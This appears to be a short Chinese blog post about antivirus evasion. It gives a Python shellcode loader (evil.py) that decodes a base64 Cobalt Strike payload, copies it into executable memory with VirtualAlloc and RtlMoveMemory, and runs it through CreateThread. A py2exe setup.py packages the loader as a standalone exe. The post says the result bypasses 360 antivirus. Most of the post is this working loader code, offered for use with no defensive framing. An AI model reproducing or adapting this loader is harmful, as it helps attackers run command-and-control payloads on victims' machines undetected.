python免杀

工具

免杀

cs生成python payload

setup.py代码如下：

Code

from distutils.core import setup
import py2exe
setup(
name = 'Meter',
description = 'Python-based App',
version = '1.0',
console=['evil.py'],
options = {'py2exe': {'bundle_files': 1,'packages':'ctypes','includes': 'base64,sys,socket,struct,time,code,platform,getpass,shutil',}},
zipfile = None,
)

evil.py代码如下：

Code

import ctypes
import base64
shellcode = ""
shellcode=base64.b64decode(shellcode)
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

将payload base64编码
tips：最好使用py进行encode ^_^
python ./setup.py py2exe生成exe

免杀效果如下：

其实不base64编码测试了下还是能过360。。。